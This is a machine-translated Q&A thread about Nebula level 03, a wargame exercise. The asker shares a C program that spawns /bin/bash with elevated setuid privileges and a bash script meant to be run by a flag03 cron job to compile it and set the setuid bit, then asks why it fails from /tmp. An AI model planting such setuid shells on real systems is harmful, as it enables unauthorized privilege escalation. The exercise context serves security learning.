Linux 시스템에서 setuid 프로그램이있는 디렉토리의 권한이 커널이 프로세스를 시작하는 방법에 영향을 줍니까? 내가 물어 보는 이유는 두 개의 서로 다른 디렉토리에서 동일한 setuid 프로그램을 컴파일 할 때 실제로 한 디렉토리에서 사용자 권한 만 가정하기 때문입니다. 나는 /tmp
과 /home/flag03
에서 이것을 컴파일했습니다. 여기서 flag03
은 액세스를 시도하는 사용자 계정입니다. /tmp
에서 실행하면 예상대로 권한이 상승하지 않았지만 /home
에서 작동했습니다.리눅스에서는 실행 파일의 위치가 setuid 비트가 해석되는 방식에 영향을 줍니까?
문제에 대한 몇 가지 배경 : 나는 exploit-exercises.com/nebula의 수준 03에서 일하고 있어요
. 이 연습을 수행하려면 flag03
사용자 계정에 대한 액세스 권한이 필요합니다. 연습은 flag03
사용자가 정기적으로 cronjob을 실행하여 특정 디렉토리에서 스크립트를 실행할 수 있도록 설정되어 있습니다. 내 계획은 bash 쉘을 시작하는 setuid 프로그램을 컴파일 할 간단한 bash 스크립트를 작성한 다음 chmod +s
으로 setuid 비트를 설정하는 것이 었습니다. 아이디어는 setuid 프로그램이 컴파일 될 때, 사용자가 flag03
에 의해 cronjob을 통해 컴파일된다는 것입니다. 이 새로 컴파일 된 프로그램이 실행되면 사용자 flag03
으로 쉘을 시작하며 이것이 목표입니다. 여기
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
int main(int argc, char **argv, char **envp)
{
uid_t uid;
gid_t gid;
uid = geteuid();
gid = getegid();
setresuid(uid,uid,uid);
setresgid(gid,gid,gid);
printf("uid: %d\n", getuid());
printf("gid: %d\n", getgid());
system("/bin/bash");
return 0;
}
는 떠들썩한 스크립트는 사용자 flag03
같은 프로그램을 컴파일하고 chmods setuid 비트.
#!/bin/bash
#gcc -o /tmp/l3 /tmp/l3.c
#chmod +s,a+rwx /tmp/l3
gcc -o /home/flag03/l3 /tmp/l3.c
chmod +s,a+rwx /home/flag03/l3
예상대로 권한을 상승하지 않습니다 /tmp
에서 생성 된 실행하지만, 예상대로 /home/flag03
작품에서 생성 한.
참고 난 그냥 /home/flag03
에 /tmp
컴파일 된이 setuid 프로그램의 버전을 이동 한 다음 setuid 비트를 재설정하기 위해 새로운 bash는 스크립트를 만들었습니다. 거기에서 실행될 때, 그 버전도 잘 작동했습니다. 따라서 setuid 프로그램이 상주하는 디렉토리의 권한은 프로세스가 시작되는 방식에 어떤 영향을 미친다. 어쩌면 이것은 다소 "특별한"디렉토리 인 /tmp
과 관련이 있습니까?
이 긴 질문에 관심을 가져 주셔서 감사합니다.
/tmp/l3 및/home/flag03/l3의 소유자를 확인할 수 있습니까? 그들은 둘 다 같은 소유자 flag03 또는 다른 사람 있습니까? –
귀하의 질문은 스택 오버플로에 대한 약간의 [주제 해제] (http://stackoverflow.com/faq) 수 있습니다. 자매 사이트 인 http://security.stackexchange.com/ 또는 http://unix.stackexchange.com/에 더 적합 할 수 있습니다. –
@ tian_yufeng 둘 다 같은 주인이있었습니다. 둘 다 같은 용도로 (그리고 나서 chmod'd로) 컴파일 되었기 때문입니다. –